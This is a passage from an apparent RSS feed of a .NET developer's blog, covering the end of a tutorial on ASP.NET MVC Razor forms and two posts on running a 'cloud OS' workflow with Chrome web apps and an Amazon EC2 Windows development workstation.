<p>It all starts with <strong>Html.BeginForm</strong>(). We’ll define a form using this MVC convention and helper method as follows:</p>
<p><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product6.png" /></p>
<p>Next, we use the Model property of the view and the HTML helper methods to define the input fields. Note that we’re using <strong>Html.TextBoxFor</strong>() and <strong>Html.LabelFor</strong>() to create the fields. Our <strong>Featured </strong>property is a Boolean, so we’ll use <strong>Html.CheckBoxFor</strong>() on that one.</p>
<p style="font-size:1.25em;line-height:1.5em;"><img style="font-size:1.25em;line-height:1.5em;" alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product7.png" /></p>
<p style="font-size:1.25em;line-height:1.5em;">Once we flesh out the other properties, we’ll be finished with the create view. And it turns out the edit view is identical. There are tricks to share them across actions (e.g. PartialViews) but for our simple example, we’ll just copy / paste between the two views.</p>
<p>Last thing we need is a submit button to submit the form.</p>
<p style="font-size:1.25em;line-height:1.5em;"><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product8.png" /></p>
<p>Now we should have a nice usable form to create products (or edit them if you copy &amp; pasted that view). Here’s the edit view:</p>
<p style="font-size:1.25em;line-height:1.5em;"><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product9.png" /></p>
<p>The final step is to capture the form data on the controller methods and update the database. This is where it gets interesting.</p>
<p>We will define a second method for each action (create &amp; edit) which accept the post. We do not want our “show the form to start editing” code to mix with the “save the data and move on” code. We’ll achieve this separation using two attributes <strong>HttpGet </strong>&amp; <strong>HttpPost.<br />
</strong></p>
<p style="font-size:1.25em;line-height:1.5em;"><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product10.png" /></p>
<p>Notice the original Create method has the GET attribute. This displays the form to begin creating a product. The second one is more interesting. It adds the product to the DB and returns to the product list. It also only accepts POST requests. Notice that it accepts a Product parameter which is populated using model binding by ASP.NET MVC.</p>
<p><em><strong>Learn this pattern!</strong></em> It’s super common in MVC. I’ll call it the <strong>Get+Post+Redirect </strong>pattern.</p>
<p>1. HttpGet method shows form, returns View().<br />
2. HttpPost method accepts the model (which is populated using model binding)<br />
3. HttpPost method then updates the data and redirects to a new view.</p>
<p>Edit is similar. Often, websites use <a href="http://automapper.codeplex.com/">AutoMapper</a> to do the manual copy / update you see here.</p>
<p><span style="font-size:1.25em;line-height:1.5em;"><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product11.png" /></span></p>
<p><span style="font-size:1.25em;line-height:1.5em;">Now we have a fully functioning store (albeit a simple one). One glaring </span><span style="font-size:20px;line-height:28px;">omission</span><span style="font-size:1.25em;line-height:1.5em;"> is validation. We’ll cover that in another post.</span></p>
<p style="font-size:1.25em;line-height:1.5em;"><strong>Conclusion</strong></p>
<p>To wrap up, we took a basic MVC website and went through these steps:</p>
<ul>
<li><span style="font-size:1.25em;line-height:1.5em;"> Added edit and create methods</span></li>
<li><span style="font-size:1.25em;line-height:1.5em;">The new methods returned the correct model</span></li>
<li><span style="font-size:1.25em;line-height:1.5em;">Added strongly-typed views for each method</span></li>
<li><span style="font-size:1.25em;line-height:1.5em;">Used Html.BeginForm() and related Html.XXXXFor() methods to build out the form</span></li>
<li><span style="font-size:1.25em;line-height:1.5em;">Added a submit button</span></li>
<li><span style="font-size:1.25em;line-height:1.5em;">Implemented the Get+Post+Redirect pattern in edit and create.</span></li>
<li><span style="font-size:1.25em;line-height:1.5em;">Take the rest of the day off. :)</span></li>
</ul>
<p><span style="font-size:1.25em;line-height:1.5em;">Good luck with your websites and happy POSTing.</span></p>
<p><span style="font-size:1.25em;line-height:1.5em;">- Cheers</span><br />
<a style="font-size:1.25em;line-height:1.5em;" href="http://twitter.com/mkennedy">@mkennedy</a></p>
</div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/23/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=23&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/01/20/building-asp-net-mvc-forms-with-razor/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product1.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product2.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product4.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product5.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product2.5.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product3.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product6.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product7.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product8.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product9.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product10.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product11.png" medium="image" />
	</item>
		<item>
		<title>Building a Cloud OS for .NET Developers &#8211; Part 2</title>
		<link>http://blog.michaelckennedy.net/2011/06/13/building-a-cloud-os-for-net-developers-part-2/</link>
		<comments>http://blog.michaelckennedy.net/2011/06/13/building-a-cloud-os-for-net-developers-part-2/#comments</comments>
		<pubDate>Mon, 13 Jun 2011 18:37:48 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Articles]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://michaelckennedy.wordpress.com/?p=39</guid>
		<description><![CDATA[In Part 1 of my Building a Cloud OS for .NET Developers series, I talked about setting up a pure cloud OS focused on developers. But the one crucial aspect I left out was the developer tools. In this second &#8230; <a href="http://blog.michaelckennedy.net/2011/06/13/building-a-cloud-os-for-net-developers-part-2/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=39&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>In <a href="http://blog.michaelckennedy.net/2011/05/25/building-a-cloud-os-for-net-developers-part-1/">Part 1</a> of my Building a Cloud OS for .NET Developers series, I talked about setting up a pure cloud OS focused on developers. But the one crucial aspect I left out was <strong>the developer tools</strong>.</p>
<p>In this second installment, we’ll be covering exactly that. How do we manage having Visual Studio and associated tools and servers universally accessible in the cloud, even on mobile devices such as iPads?</p>
<p><span id="more-39"></span></p>
<p>We’ll start with the king of the cloud:</p>
<p><em>Amazon Elastic Compute Cloud (Amazon EC2)</em><br />
<a href="http://aws.amazon.com/ec2/">http://aws.amazon.com/ec2/</a></p>
<p>At EC2 we can create a variety of Windows instances, get full admin access via remote desktop, and install anything we want (Visual Studio, SQL Server, MongoDB, etc). We can also run these for just 30 minutes here, 2 hours there and we’ll only be charge for the time we use it.</p>
<p>We are going to setup a Windows Server in EC2 which we can access from our Cloud OS, or any other machine or mobile device, and deck it out with all the developer tools we want. You have to choose your server type based on what you’re planning on doing as well as how much you want to pay. Here are the available options and pricing. You can roughly expect to pay $0.50/hr for a good workstation, or $0.12/hr for an acceptable but small one.</p>
<blockquote><p><em>Amazon EC2 Instance Types</em>: <a href="http://aws.amazon.com/ec2/instance-types/">http://aws.amazon.com/ec2/instance-types/</a><br />
Amazon EC2 Pricing: <a href="//aws.amazon.com/ec2/pricing/">http://aws.amazon.com/ec2/pricing/<br />
</a></p></blockquote>
<p>I’m currently using a Micro Instance for an SVN server which is always running as well as High-Memory Extra Large Instance for my development machine that I start and stop on-demand when I need to get some programming done. Here are the specs for the developer workstation:</p>
<blockquote><p><em>High-Memory Extra Large Instance<br />
</em><br />
17.1 GB of memory<br />
6.5 EC2 Compute Units (2 virtual cores with 3.25 EC2 Compute Units each)<br />
420 GB of instance storage<br />
64-bit platform<br />
I/O Performance: Moderate<br />
API name: m2.xlarge</p></blockquote>
<p>You have to admit, that’s a pretty killer workstation. It’s a overkill on the memory, but has better processors than the cheaper ones which also have decent memory.</p>
<p>The price of the dev machine is $0.69 / hour. I’ve also built some tools which help shut down the machine in case I get distracted. So far I’ve been using it pretty heavily this past few weeks and have spent probably $13 on it. That’s not bad for the possibility of being anywhere in the world (with an Internet connection) and getting my workstation running in an instant. OK, maybe it takes longer than an instant. To be fair, it usually it’s 10-15 seconds :).</p>
<p><strong>Take the Free Lunch</strong></p>
<p>One thing you should do straight away if you’re going to try this is sign up for the EC2 Free Tier:</p>
<blockquote><p><em>AWS Free Usage Tier</em><br />
<a href="http://aws.amazon.com/free/">http://aws.amazon.com/free/</a></p></blockquote>
<p>This won’t cover the EC2 CPU time (that’s Linux only), but it will cover storage, bandwidth, S3 snapshots, etc. You also get a free Linux machine to play with if you like.</p>
<p><strong>Setting up Windows in the Cloud</strong></p>
<p>OK, so if you’re chosen an instance type and are ready to start, you should do the EC2 walk-through I put together here to get your machine up and running and login for the first time.</p>
<blockquote><p><em>Building Windows Machines in Amazon EC2</em><br />
<a href="http://www.michaelckennedy.net/blog/2010/01/31/BuildingWindowsMachinesInAmazonEC2.aspx">http://www.michaelckennedy.net/blog/2010/01/31/BuildingWindowsMachinesInAmazonEC2.aspx</a></p></blockquote>
<p>I’d guess that takes about 15 minutes. When you’re done, come back here&#8230;</p>
<p><strong>Installing Software in EC2 and Windows</strong></p>
<p>So you’ve logged in and you want to install Visual Studio, SQL Server, and other MSDN goodies. The easiest way to get them is to use the ISO DVD images from the MSDN download site. In order to mount them on your EC2 machine (which has no DVD drive), you should install</p>
<blockquote><p><em>Virtual CloneDrive</em><br />
<a href="http://www.slysoft.com/en/virtual-clonedrive.html">http://www.slysoft.com/en/virtual-clonedrive.html</a></p></blockquote>
<p>which lets you mount ISO images as if they were proper DVD drives. Then you can download and install all the MSDN files you need. A good place to start is with Visual Studio:</p>
<blockquote><p><em>Microsoft Visual Studio 2010 Premium Trial &#8211; ISO</em><br />
<a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=f81412a2-d48e-4040-9b32-27eaf771c5db&amp;displaylang=en">http://www.microsoft.com/downloads/en/details.aspx?FamilyID=f81412a2-d48e-4040-9b32-27eaf771c5db&amp;displaylang=en</a></p></blockquote>
<p>One word of warning here: I’ve noticed that Chrome can freak out and fail to download very large files inside your EC2 instance. Don’t know why, but it does. So be sure to use IE or Firefox to do the downloads for the ISOs.</p>
<p><strong>Syncing your Files Between your Local Machine and Dev EC2 Machine</strong></p>
<p>There are two techniques we can use to sync files, depending on what category of files we’re sharing and how. For the source files, you can always setup an SVN Server (that’s what my micro instance is about). I’m a fan of Visual SVN. It’s free and easy to setup and admin.</p>
<blockquote><p><em>VISUALSVN SERVER</em><br />
<a href="http://www.visualsvn.com/server/">http://www.visualsvn.com/server/</a></p></blockquote>
<p>Then on your EC2 dev machine (and your others you may have) setup:</p>
<blockquote><p><em>TortoiseSVN</em><br />
<a href="http://tortoisesvn.net/">http://tortoisesvn.net/</a></p></blockquote>
<p>and</p>
<blockquote><p><em>AnkhSVN for Visual Studio Integration</em><br />
<a href="http://ankhsvn.open.collab.net/">http://ankhsvn.open.collab.net/</a></p></blockquote>
<p>Then you have super easy, reliable, and secure sharing of your source files.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/svn-sync.png" alt="" border="0" /></p>
<p>For everything else, you can just setup a Dropbox share between your Cloud OS and you EC2 Dev Machine:</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/dropbox-logo.png" alt="" border="0" /></p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/dropbox-synced.png" alt="" border="0" /></p>
<p>If you don’t have Dropbox and want to try it, use this link to create an account</p>
<blockquote><p><a href="http://db.tt/Qo7m9PA">http://db.tt/Qo7m9PA</a></p></blockquote>
<p>and you’ll get me some extra free space which I always appreciate. :) Then if you have a file on your local computer you want accessible on your cloud dev machine, just drop it in your Dropbox folder on the originating computer and it’ll be there as soon as it uploads.</p>
<p><strong>Waste Not, Want Not</strong></p>
<p>Now here is a problem you will encounter:</p>
<p>You’re working on your dev machine in EC2, something comes up and you get distracted and forget about it for the rest of the day. When you come back the next day you see your EC2 system is still running and you’ve wasted $12 by leaving it running idle overnight. That sucks. If it happens on Friday, it might run the whole weekend which is even worse.</p>
<p>To avoid this, I wrote a little tray utility that watches for extended idle times and will shutdown your EC2 instance if it’s idle for too long.<br />
<img src="http://www.michaelckennedy.net/blog/content/binary/Shutdown.png" alt="" border="0" /></p>
<p>Below is how you configure it. Simple, right?</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/Shutdown-options.png" alt="" border="0" /><br />
Add it to your startup menu to make sure it starts when you log in.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/shutdown-start-menu.png" alt="" border="0" /></p>
<p>You can download it here. I may blog about this app in greater detail later, for now feel free to use it.</p>
<blockquote><p><em>Shutdown on Idle</em><br />
<a href="http://www.michaelckennedy.com/Downloads/Tools/ShutdownAfterIdle.zip">http://www.michaelckennedy.com/Downloads/Tools/ShutdownAfterIdle.zip</a></p></blockquote>
<p><strong>Reliable Access to EC2</strong></p>
<p>One annoyance in EC2 is that every time you turn off your EC2 computer, it will take on a new random public DNS name. If you really want to access to your EC2 machine from anywhere, you probably want a reliable DNS name / IP address. That’s where Elastic IPs come into play in EC2:</p>
<blockquote><p><em>Feature Guide: Amazon EC2 Elastic IP Addresses</em><br />
<a href="http://aws.amazon.com/articles/1346">http://aws.amazon.com/articles/1346</a></p></blockquote>
<p>If you create an elastic IP, then you can map it to a sub-domain in your domain and always use that. For example I could register it for <span style="color:#0000ff;">cloud-developer.michaelckennedy.net</span>. Then as long as I have a way to start my machine and re-associate the IP, all my config on my various machines (such as remembered RDP settings and passwords and such) will “stick”.</p>
<p>Be aware that while your EC2 machine is off, you’ll be charged a small fee (few dollars / month) for the address. You can decide whether it’s worth the trouble to save the few dollars.</p>
<p><strong>Mobile / iPad Access</strong></p>
<p>I’m sure when you think of accessing your EC2 dev machines, you’re thinking of doing that form Windows or maybe a Mac (using  <a href="http://www.microsoft.com/mac/remote-desktop-client">http://www.microsoft.com/mac/remote-desktop-client</a>). But the iPad (and even the iPhone) has apps to allow you to use Remote Desktop to EC2. For example, here’s editing the code for <a href="http://chatpast.com">http://chatpast.com</a> in Visual Studio via my iPad:</p>
<p><a href="http://www.michaelckennedy.net/blog/content/binary/Visual-Studio-On-iPad.png"><img src="http://www.michaelckennedy.net/blog/content/binary/Visual-Studio-On-iPad-thumb.png" alt="" border="0" /></a><br />
(click for full size image)</p>
<p>And you can even bring up the keyboard or attach a Bluetooth keyboard.</p>
<p><a href="http://www.michaelckennedy.net/blog/content/binary/Visual-Studio-On-iPad-keyboard.png"><img src="http://www.michaelckennedy.net/blog/content/binary/Visual-Studio-On-iPad-keyboard-thumb.png" alt="" border="0" /></a><br />
(click for full size image)</p>
<p>The app I was using is called “Jump”, and you can find it here:</p>
<blockquote><p><em>Jump for iPad</em><br />
<a href="http://jumpdesktop.com/">http://jumpdesktop.com/</a></p></blockquote>
<p><strong>Summary</strong></p>
<p>I hope that gives you some inspiration to try a new way to work in the cloud. You saw that we can create fairly serious EC2 Windows computers which can serve as developer workstations. We can share files via source control and Dropbox and we can access the computers from Windows, from Macs, and even mobile devices like an iPad.</p>
<p>Good luck!<br />
<a href="http://twitter.com/mkennedy">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/cloud/'>Cloud</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/cloud/'>Cloud</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/39/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/39/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=39&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2011/06/13/building-a-cloud-os-for-net-developers-part-2/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/svn-sync.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/dropbox-logo.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/dropbox-synced.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/Shutdown.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/Shutdown-options.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/shutdown-start-menu.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/Visual-Studio-On-iPad-thumb.png" medium="image" />

		<media:content url="http://www.michaelckennedy.net/blog/content/binary/Visual-Studio-On-iPad-keyboard-thumb.png" medium="image" />
	</item>
		<item>
		<title>Building a Cloud OS for .NET Developers &#8211; Part 1</title>
		<link>http://blog.michaelckennedy.net/2011/05/25/building-a-cloud-os-for-net-developers-part-1/</link>
		<comments>http://blog.michaelckennedy.net/2011/05/25/building-a-cloud-os-for-net-developers-part-1/#comments</comments>
		<pubDate>Wed, 25 May 2011 18:43:44 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Articles]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://michaelckennedy.wordpress.com/?p=43</guid>
		<description><![CDATA[Let’s talk about cloud operating systems. This article explores the options and potential of moving entirely “To The Cloud” for developers who normally demand significant offline power from their applications (IDEs, compilers, debuggers, etc). We’ll focus on .NET / Visual &#8230; <a href="http://blog.michaelckennedy.net/2011/05/25/building-a-cloud-os-for-net-developers-part-1/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=43&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Let’s talk about cloud operating systems. This article explores the options and potential of moving entirely “To The Cloud” for developers who normally demand significant offline power from their applications (IDEs, compilers, debuggers, etc). We’ll focus on .NET / Visual Studio developers, but I’m sure you can adapt this to your technology of choice.</p>
<p>I’ve been fascinated with what Google is doing with Chrome OS. I think finding a way to fully “live in the cloud” has a lot of promise. However, in practice Chrome OS is entirely unappealing to me. It’s just a single browser window, maximized. Yuck. I don’t mind doing most things in the browser, but I’d like multiple non-maximized browser windows and a desktop to organize things like shortcuts. That’s OK though because Chromebooks aren’t the only option. We have decent operating systems right now that can function largely in the same way if we set them up with discipline.</p>
<p><span id="more-43"></span></p>
<p>What we’re going to do is take a pristine Windows 7 instance and deck it out for the cloud. Even with all the choices these days, Windows 7 is still my favorite OS. I do have a Mac, several iOS devices, and I could always install Linux. Nevertheless, it’s Windows 7 for me so that’s where we’ll start.</p>
<p><strong>Creating a Fresh Windows 7 Instance &#8211; Gently</strong></p>
<p>I want to start from the very beginning. I don’t want old apps I’ve already installed encouraging me to “cheat” and work outside of the cloud more than necessary. At the same time I need to be able to fire up Visual Studio and do some work with an unreliable or nonexistent Internet connection So I’m keeping my current “full” Windows system intact. We’ll install a secondary instance of Windows using the awesome Boot to VHD feature in Windows 7 Ultimate. If you haven’t heard of it, I did a video walk-through here:</p>
<p><em>   Boot to VHD Screencast:</em><br />
<em>   </em><a href="http://www.michaelckennedy.net/blog/2009/10/20/BootToVHDScreencast.aspx">http://www.michaelckennedy.net/blog/2009/10/20/BootToVHDScreencast.aspx</a></p>
<p>Scott Hanselman’s write up is very helpful too.</p>
<p><em>   </em><em>Less Virtual, More Machine &#8211; Windows 7 and the magic of Boot to VHD</em>:<br />
<em>   </em><a href="http://www.hanselman.com/blog/LessVirtualMoreMachineWindows7AndTheMagicOfBootToVHD.aspx">http://www.hanselman.com/blog/LessVirtualMoreMachineWindows7AndTheMagicOfBootToVHD.aspx</a></p>
<p>This process takes about 15 minutes. Once you’ve got everything setup, I recommend you activate and then snapshot that VHD file (from your main OS) so you can always get back to “clean”. If you’re really living the cloud lifestyle, than paving your system is much easier than before. I always keep a secondary partition around for data files anyway so that can be shared across OSes.</p>
<p>Now that you’ve got a truly fresh Windows 7 copy, it’s time to install just a few apps needed to set you free (and a few you’d rather not live without).</p>
<p><strong>Installing “The Cloud”</strong></p>
<p>While your fresh copy of Windows 7 does have IE 8 installed, that browser is entirely not up to the task of being where you spend 90% of your time. I strongly encourage you to give the latest Chrome beta a shot as your main browser. The “application shortcuts” feature of Chrome makes it much more immersive than anything IE 9 or FireFox 4 are doing (yes, I know they have pinned sites, that’s not even close).</p>
<p><em>   </em><em>Chrome Beta</em><em><br />
</em><a href="http://www.google.com/intl/en/landing/chrome/beta/">http://www.google.com/intl/en/landing/chrome/beta/</a></p>
<p>Got Chrome installed and set as your default browser? Good. Don’t forget to install all your Windows updates and Windows 7 SP1 while you’re at it.</p>
<p><strong>What about Visual Studio? </strong></p>
<p>You may be thinking, “I *<strong>NEED</strong>* Visual Studio 2010”. Yes, we do need it for sure, but stick with me here. We are NOT installing that beast on our fresh Windows 7 system. Remember, this is your Cloud OS. I even named mine Cloud OS in my boot loader to keep that focused in my mind.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/WindowsBoot.JPG" alt="" width="425" border="0" /></p>
<p>We’ll talk about Visual Studio soon.</p>
<p><strong><em>Installing </em>Your Web Applications</strong></p>
<p>You may think that you do not need to install your <span style="text-decoration:line-through;">web apps</span> cloud apps. There are a few installers we’ll be running such as DropBox and ChatPast, but even the plain vanilla websites such as GMail are better if you install them. That’s why Chrome is way better than the other browsers.</p>
<p>Let’s suppose you’ll want to use Google Docs to work with documents, presentations, Excel worksheets and so on (you will want this!). Visit <a href="https://docs.google.com">https://docs.google.com</a>, then choose “Create application shortcut” in Chrome (see image):</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/ToAppShortcut.png" alt="" width="425" border="0" /></p>
<p>This not only gives you start menu items and desktop shortcuts, but it makes your taskbar truly useful and your web apps behave as regular Windows apps.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/AsApp.png" alt="" border="0" /></p>
<p>In addition, you get the true feel of your websites being applications without all the browser toolbars and other junk around it. For example, here’s how this article (barely written) looks in Google Docs right now. Notice, how it looks like an app rather than a tab buried in a busy browser. It remembers its window size and position. In short, it’s more application-like.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/GoogleDocsApp.png" alt="" width="450" border="0" /></p>
<p><strong>What Cloud Apps Should I Install?</strong></p>
<p>OK, so I hope I convinced you that treating your web apps as true applications is worthwhile. Now which ones do I install? Here are a few I recommend. You may have your own favorite sites. We’ll also need a few apps that do cloudy stuff but run MSI installers on our system.</p>
<p><strong>- GMail</strong>: <a href="https://mail.google.com/">https://mail.google.com/</a> (obviously :) )<br />
<strong>- Google Docs</strong>: <a href="https://docs.google.com">https://docs.google.com</a> (good Microsoft Office replacement)<br />
<strong>- Google Calendar</strong>: <a href="https://www.google.com/calendar/">https://www.google.com/calendar/</a><br />
<strong>- Google Contacts</strong>: <a href="http://mail.google.com/mail/contacts/u/0/ui/ContactManager">http://mail.google.com/mail/contacts/u/0/ui/ContactManager</a><br />
<strong>- 37 Signals LaunchPad</strong>: <a href="https://launchpad.37signals.com">https://launchpad.37signals.com</a> (Great web apps for projects)<br />
<strong>- Amazon Web Service</strong>: <a href="https://console.aws.amazon.com/ec2/">https://console.aws.amazon.com/ec2/</a> (You’ll see why soon)<br />
<strong>- Twitter</strong>: <a href="http://twitter.com/">http://twitter.com/</a><br />
<strong>- Office Online</strong>: <a href="http://office.live.com">http://office.live.com</a> (for when Google docs fail you)<br />
<strong>- Pandora</strong>: <a href="http://www.pandora.com/">http://www.pandora.com/</a></p>
<p>Here are a few proper apps that are cloud-based in some way or another that require installers.</p>
<p><strong>- Skype </strong>(obviously :) <a href="http://www.skype.com">http://www.skype.com</a><br />
<strong>- DropBox</strong>: <a href="https://www.dropbox.com">https://www.dropbox.com</a><br />
<strong>- ChatPast Sync Client</strong>: <a href="https://chatpast.com/">https://chatpast.com/</a></p>
<p>By using GMail, Google Contacts, and Google Calendar, you obviously get portability from the web. But if you have a modern phone or tablet, chances are you can keep them 100% in sync using Google’s Exchange support. I do that for both my iPhone and iPad.</p>
<p>There are also a couple of light-weight apps that I just didn’t want to do without and still have a solid use in a Cloud OS. I needed a good image editing app (for writing blog posts like this) and one for screen captures. So we have<br />
<strong><br />
- Paint.NET</strong>: <a href="http://download.cnet.com/Paint-NET/3000-2192_4-10338146.html">http://download.cnet.com/Paint-NET/3000-2192_4-10338146.html</a><br />
<strong>- Window Clippings</strong>: <a href="http://www.windowclippings.com/">http://www.windowclippings.com/</a></p>
<p>Finally, there are a couple that I use to just keep an eye on my system such as</p>
<p><strong>- Process Explorer</strong>: <a href="http://technet.microsoft.com/en-us/sysinternals/bb896653">http://technet.microsoft.com/en-us/sysinternals/bb896653</a></p>
<p>Here is the full list of *everything* I have installed on my system. Just 11 applications installed. Note that I’ve hidden some that Windows installs without asking. For example, using my Microsoft Mouse forces an install of Microsoft’s Intellipoint software when I plug it in. Similarly for the touch-pad on my laptop. To me, those don’t count so I edited them out.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/OptionalInstalls.png" alt="" width="425" border="0" /></p>
<p><strong>Escape from Outlook</strong></p>
<p>You may be thinking that because you still use your company’s email that you’ll need to install Microsoft Office and the 800-lbs gorilla that is Outlook. Chances are you will not need Outlook. I have several “regular” email accounts I have to check that don’t have reasonable web options.</p>
<p>You can setup your GMail account to automatically pull from your other email accounts as if GMail itself was a POP3 client like Outlook. Just go to Gmail &gt; Settings &gt;  Accounts and Import &gt; and configure “Check mail using POP3” as well as “Send mail as”. Here you see my other accounts have recently been checked and received mail.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/GMailToOtherAccounts.png" alt="" width="425" border="0" /></p>
<p>Sometimes having a “Send and Receive” button for these accounts is handy. Visit the Labs section of GMail and install the “Refresh POP accounts” add-on to make the refresh button propagate a refresh off to your other accounts as well.</p>
<p><img src="http://www.michaelckennedy.net/blog/content/binary/mod_poprefresh.png" alt="" border="0" /><br />
While you are in there, you should turn on the keyboard shortcuts and take 5 minutes to learn the important ones. For example, <strong>/</strong> will take you to search, <strong>i</strong> to the inbox, <strong>e</strong> archives, <strong>-c</strong> composes an email in a separate window, etc.</p>
<p><strong>Where Are the Developer Tools?</strong></p>
<p>You probably didn’t see Visual Studio in that list, because it wasn’t there! In the next blog post, I’ll take you through setting up an Visual Studio 2010 instance in the cloud along with all the other developer tools and servers you might need such as SQL Server, and MongoDB, and LINQPad, and so on. Stay tuned.</p>
<p>When I have that post online, I’ll be sure to add a link here. If you just can’t wait, here’s a <a href="http://aws.amazon.com/ec2/">hint</a> of where we&#8217;re going next.</p>
<p>[Update: <a href="http://blog.michaelckennedy.net/2011/06/13/building-a-cloud-os-for-net-developers-part-2/">Read Part 2 Now</a>]</p>
<p>Good luck!<br />
<a href="http://twitter.com/#%21/mkennedy">@mkennedy</a></p>
